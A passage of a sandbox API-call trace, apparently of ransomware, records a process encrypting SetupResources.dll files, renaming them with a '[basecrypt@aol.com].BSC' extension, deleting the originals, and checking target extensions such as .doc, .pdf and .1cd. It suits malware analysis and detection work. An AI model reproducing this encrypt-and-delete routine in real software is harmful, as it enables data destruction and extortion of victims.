(lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.481] GetLastError () returned 0x0 [0102.481] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x4758, lpOverlapped=0x0) returned 1 [0102.614] WriteFile (in: hFile=0x354, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x4760, lpOverlapped=0x0) returned 1 [0102.615] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.615] WriteFile (in: hFile=0x354, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.615] SetEndOfFile (hFile=0x354) returned 1 [0102.615] CloseHandle (hObject=0x354) returned 1 [0102.616] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.616] SetEndOfFile (hFile=0x32c) returned 1 [0102.617] CloseHandle (hObject=0x32c) returned 1 [0102.617] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.618] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0102.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.618] lstrlenW (lpString=".doc") returned 4 [0102.618] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.618] lstrlenW (lpString=".docx") returned 5 [0102.618] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.618] lstrlenW (lpString=".pdf") returned 4 [0102.618] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.618] lstrlenW (lpString=".xls") returned 4 [0102.618] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.618] lstrlenW (lpString=".xlsx") returned 5 [0102.618] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.618] lstrlenW (lpString=".ppt") returned 4 [0102.618] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.619] lstrlenW (lpString=".zip") returned 4 [0102.619] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.619] lstrlenW (lpString=".rar") returned 4 [0102.619] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.619] lstrlenW (lpString=".bz2") returned 4 [0102.619] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.619] lstrlenW (lpString=".7z") returned 3 [0102.619] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.619] lstrlenW (lpString=".dbf") returned 4 [0102.619] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.619] lstrlenW (lpString=".1cd") returned 4 [0102.619] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.619] lstrlenW (lpString=".jpg") returned 4 [0102.619] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.619] lstrlenW (lpString=".doc") returned 4 [0102.619] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.619] lstrlenW (lpString=".docx") returned 5 [0102.619] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.619] lstrlenW (lpString=".pdf") returned 4 [0102.619] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.619] lstrlenW (lpString=".xls") returned 4 [0102.619] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.619] lstrlenW (lpString=".xlsx") returned 5 [0102.619] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.619] lstrlenW (lpString=".ppt") returned 4 [0102.620] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.620] lstrlenW (lpString=".zip") returned 4 [0102.620] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.620] lstrlenW (lpString=".rar") returned 4 [0102.620] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.620] lstrlenW (lpString=".bz2") returned 4 [0102.620] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.620] lstrlenW (lpString=".7z") returned 3 [0102.620] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.620] lstrlenW (lpString=".dbf") returned 4 [0102.620] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.620] lstrlenW (lpString=".1cd") returned 4 [0102.620] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0102.620] lstrlenW (lpString=".jpg") returned 4 [0102.620] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.620] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.620] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.620] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.621] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=18264) returned 1 [0102.621] CloseHandle (hObject=0x32c) returned 1 [0102.621] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0102.621] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.621] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.621] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0102.631] GetLastError () returned 0x0 [0102.631] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x4758, lpOverlapped=0x0) returned 1 [0102.665] WriteFile (in: hFile=0x330, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x4760, lpOverlapped=0x0) returned 1 [0102.666] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.666] WriteFile (in: hFile=0x330, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.666] SetEndOfFile (hFile=0x330) returned 1 [0102.667] CloseHandle (hObject=0x330) returned 1 [0102.667] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.667] SetEndOfFile (hFile=0x32c) returned 1 [0102.668] CloseHandle (hObject=0x32c) returned 1 [0102.668] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.669] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0102.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.669] lstrlenW (lpString=".doc") returned 4 [0102.669] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.669] lstrlenW (lpString=".docx") returned 5 [0102.669] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.669] lstrlenW (lpString=".pdf") returned 4 [0102.669] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.669] lstrlenW (lpString=".xls") returned 4 [0102.669] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.669] lstrlenW (lpString=".xlsx") returned 5 [0102.669] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.669] lstrlenW (lpString=".ppt") returned 4 [0102.669] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.669] lstrlenW (lpString=".zip") returned 4 [0102.670] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.670] lstrlenW (lpString=".rar") returned 4 [0102.670] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.670] lstrlenW (lpString=".bz2") returned 4 [0102.670] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.670] lstrlenW (lpString=".7z") returned 3 [0102.670] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.670] lstrlenW (lpString=".dbf") returned 4 [0102.670] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.670] lstrlenW (lpString=".1cd") returned 4 [0102.670] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.670] lstrlenW (lpString=".jpg") returned 4 [0102.670] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.670] lstrlenW (lpString=".doc") returned 4 [0102.670] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.670] lstrlenW (lpString=".docx") returned 5 [0102.670] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.670] lstrlenW (lpString=".pdf") returned 4 [0102.670] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.670] lstrlenW (lpString=".xls") returned 4 [0102.670] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.670] lstrlenW (lpString=".xlsx") returned 5 [0102.670] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.670] lstrlenW (lpString=".ppt") returned 4 [0102.670] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.670] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.670] lstrlenW (lpString=".zip") returned 4 [0102.671] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.671] lstrlenW (lpString=".rar") returned 4 [0102.671] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.671] lstrlenW (lpString=".bz2") returned 4 [0102.671] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.671] lstrlenW (lpString=".7z") returned 3 [0102.671] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.671] lstrlenW (lpString=".dbf") returned 4 [0102.671] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.671] lstrlenW (lpString=".1cd") returned 4 [0102.671] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0102.671] lstrlenW (lpString=".jpg") returned 4 [0102.671] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.671] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.671] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.671] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.671] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=18264) returned 1 [0102.671] CloseHandle (hObject=0x32c) returned 1 [0102.672] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0102.672] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.672] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.672] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.694] GetLastError () returned 0x0 [0102.694] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x4758, lpOverlapped=0x0) returned 1 [0102.843] WriteFile (in: hFile=0x338, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x4760, lpOverlapped=0x0) returned 1 [0102.844] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.844] WriteFile (in: hFile=0x338, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.844] SetEndOfFile (hFile=0x338) returned 1 [0102.844] CloseHandle (hObject=0x338) returned 1 [0102.845] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.845] SetEndOfFile (hFile=0x32c) returned 1 [0102.846] CloseHandle (hObject=0x32c) returned 1 [0102.846] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.846] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0102.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.846] lstrlenW (lpString=".doc") returned 4 [0102.847] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.847] lstrlenW (lpString=".docx") returned 5 [0102.847] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.847] lstrlenW (lpString=".pdf") returned 4 [0102.847] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.847] lstrlenW (lpString=".xls") returned 4 [0102.847] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.847] lstrlenW (lpString=".xlsx") returned 5 [0102.847] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.847] lstrlenW (lpString=".ppt") returned 4 [0102.847] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.847] lstrlenW (lpString=".zip") returned 4 [0102.847] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.847] lstrlenW (lpString=".rar") returned 4 [0102.847] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.847] lstrlenW (lpString=".bz2") returned 4 [0102.847] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.847] lstrlenW (lpString=".7z") returned 3 [0102.847] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.847] lstrlenW (lpString=".dbf") returned 4 [0102.847] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.847] lstrlenW (lpString=".1cd") returned 4 [0102.848] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.848] lstrlenW (lpString=".jpg") returned 4 [0102.848] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.848] lstrlenW (lpString=".doc") returned 4 [0102.848] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.848] lstrlenW (lpString=".docx") returned 5 [0102.848] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.848] lstrlenW (lpString=".pdf") returned 4 [0102.848] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.848] lstrlenW (lpString=".xls") returned 4 [0102.848] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.848] lstrlenW (lpString=".xlsx") returned 5 [0102.848] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.848] lstrlenW (lpString=".ppt") returned 4 [0102.848] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.848] lstrlenW (lpString=".zip") returned 4 [0102.848] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.848] lstrlenW (lpString=".rar") returned 4 [0102.848] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.848] lstrlenW (lpString=".bz2") returned 4 [0102.848] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.848] lstrlenW (lpString=".7z") returned 3 [0102.848] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.848] lstrlenW (lpString=".dbf") returned 4 [0102.848] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.848] lstrlenW (lpString=".1cd") returned 4 [0102.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0102.849] lstrlenW (lpString=".jpg") returned 4 [0102.849] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.849] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.849] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.849] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.849] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=18776) returned 1 [0102.849] CloseHandle (hObject=0x32c) returned 1 [0102.849] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0102.850] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.850] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.850] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.850] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.850] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0102.983] GetLastError () returned 0x0 [0102.983] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x4958, lpOverlapped=0x0) returned 1 [0103.071] WriteFile (in: hFile=0x358, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x4960, lpOverlapped=0x0) returned 1 [0103.073] ReadFile (in: hFile=0x32c, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.073] WriteFile (in: hFile=0x358, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0103.073] SetEndOfFile (hFile=0x358) returned 1 [0103.073] CloseHandle (hObject=0x358) returned 1 [0103.076] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.076] SetEndOfFile (hFile=0x32c) returned 1 [0103.077] CloseHandle (hObject=0x32c) returned 1 [0103.077] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.078] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0103.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0103.078] lstrlenW (lpString=".doc") returned 4 [0103.078] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0103.078] lstrlenW (lpString=".docx") returned 5 [0103.078] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0103.078] lstrlenW (lpString=".pdf") returned 4 [0103.078] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0103.078] lstrlenW (lpString=".xls") returned 4 [0103.078] 